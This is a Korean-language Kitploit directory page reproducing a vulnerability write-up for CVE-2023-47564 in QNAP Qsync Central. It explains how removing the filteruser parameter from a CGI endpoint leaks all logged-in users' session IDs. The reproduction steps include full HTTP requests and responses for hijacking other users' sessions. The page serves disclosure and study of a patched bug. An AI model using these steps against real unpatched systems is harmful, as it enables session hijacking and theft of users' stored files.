Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-47564 — CVE-2023-47564 | Kitploit
도구/GitHubGitHub/c411e/cve-2023-47564
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationInformation GatheringPenetration Testing
GitHubc411e/cve-2023-47564

CVE-2023-47564

CVE-2023-47564

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-47564

  • https://www.qnap.com/en/security-advisory/qsa-24-03
  • https://www.cve.org/CVERecord?id=CVE-2023-47564
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (8.1)

"중요 리소스에 대한 잘못된 권한 할당 취약점이 Qsync Central에 영향을 미치는 것으로 보고되었습니다. 이 취약점이 악용될 경우, 인증된 사용자가 네트워크를 통해 리소스를 읽거나 수정할 수 있습니다."

발견일: 2023년 12월 5일

수정일: 2024년 2월 3일

영향을 받는 버전: Qsync Central 4.4.x, Qsync Central 4.3.x

수정된 버전: Qsync Central 4.4.0.15 (2024/01/04) 이상, Qsync Central 4.3.0.11 (2024/01/11) 이상

요약: 최근 침투 테스트 중 저는 QNAP 시스템에 낮은 권한의 사용자(여기서는 user123)로 접근할 수 있었습니다. 흥미로운 파일은 없었지만, 조금 더 깊이 파보기로 했습니다. 시스템에서는 Qsync Central 앱(https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer)만 실행 중이었습니다. 먼저 모든 사용자 목록을 찾으려고 프록시 기록을 살펴보았습니다. /cgi-bin/qsync/qboxRequest.cgi 엔드포인트를 발견했습니다. 이 엔드포인트는 현재 사용자 계정 정보와 현재 세션 ID(sid)도 함께 노출했습니다.

요청은 다음과 같았습니다:

root@kitploit:~
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

응답은 다음과 같았습니다:

root@kitploit:~
HTTP/2 200 OK
Server: 
[...]

    <data>
        <device>
            <id><![CDATA[REDACTED]]></id>
            <type><![CDATA[3]]></type>
            <time><![CDATA[2023-12-05 09:57:14]]></time>
            <user><![CDATA[user123]]></user>
            <ip><![CDATA[REDACTED]]></ip>
            <sid><![CDATA[60ud018n]]></sid>
            <uid><![CDATA[REDACTED]]></uid>
            <action><![CDATA[1]]></action>
            <comp><![CDATA[Qsync-File Station]]></comp>
            <desc><![CDATA[File Station login Qsync]]></desc>
            <channel><![CDATA[0]]></channel>
            <online><![CDATA[0]]></online>
            <version><![CDATA[]]></version>
            <QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
        </device>
    </data>
    <ret>0</ret>
</logroot>
</QDocRoot>

흥미로운 점은 filteruser 매개변수였습니다. 저는 이 매개변수를 제거했고, 놀랍게도 모든 사용자와 그들의 세션 ID 목록이 반환되었습니다! 그래서 다른 로그인된 모든 사용자의 세션을 가로챌 수 있었습니다. PoC로 저는 그 세션 중 하나를 사용하여 다른 사용자로 로그인했습니다. QNAP의 버그 바운티 프로그램에 취약점을 보고했습니다. 커뮤니케이션은 쉬웠고 수정이 빠르게 배포되었습니다.

재현 단계 (상세):

  1. 공격자가 일반적인 낮은 권한의 사용자 계정으로 QNAP Qsync 웹 애플리케이션에 로그인합니다.

  2. Qsync 웹 애플리케이션에서 설정한 NAS_SID 쿠키에서 공격자의 세션 ID(sid)를 추출합니다.

  3. 공격자의 sid 값을 NAS_SID 쿠키와 sid HTTP GET 매개변수 모두에 사용하여 다음 HTTP 요청을 수행합니다:

    root@kitploit:~
    GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
    Host: vulnhost.com
    Cookie: NAS_SID=yl9osz6l;
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: https://vulnhost.com/cgi-bin/
    X-Requested-With: XMLHttpRequest
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Te: trailers
    
  4. HTTP 응답에서 현재 웹 애플리케이션에 로그인된 다른 모든 사용자의 유효한 세션 ID를 추출할 수 있습니다. 예:

    root@kitploit:~
    HTTP/2 200 OK
    Server: 
    Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
    Vary: Referer
    X-Xss-Protection: 1; mode=block
    Strict-Transport-Security: max-age=0
    X-Content-Type-Options: nosniff
    Content-Type: text/xml
    Date: Tue, 05 Dec 2023 10:32:00 GMT
    
    <?xml version="1.0" encoding="UTF-8" ?>
    <QDocRoot version="1.0">
    <authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
    <encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
    <firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
    <sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
    <logroot>
    <ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
        <count>239</count>
        <data>
            <device>
                <id><![CDATA[REDACTED]]></id>
                <type><![CDATA[3]]></type>
                <time><![CDATA[2023-12-05 11:31:50]]></time>
                <user><![CDATA[victim]]></user>
                <ip><![CDATA[REDACTED]]></ip>
                <sid><![CDATA[12345678]]></sid></span>
                <uid><![CDATA[REDACTED]]></uid>
                <action><![CDATA[1]]></action>
                <comp><![CDATA[Qsync-File Station]]></comp>
                <desc><![CDATA[File Station login Qsync]]></desc>
                <channel><![CDATA[0]]></channel>
                <online><![CDATA[1]]></online>
                <version><![CDATA[]]></version>
                <QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
            </device>
    [...]
    
도구 다운로드

다음 스크린샷은 이 문제를 보여줍니다 (개인정보 보호를 위해 세션 ID와 테스트된 QNAP Qsync 인스턴스의 식별 정보는 편집되었습니다):

유출된 세션 ID 값
  • 공격자는 추출된 sid 값을 사용하여 각각 NAS_SID 쿠키를 설정함으로써 피해자 중 누구든지 로그인할 수 있습니다. 이를 통해 공격자는 피해자의 세션을 가로채고 피해자가 QNAP 시스템에 저장한 모든 파일을 다운로드할 수 있습니다.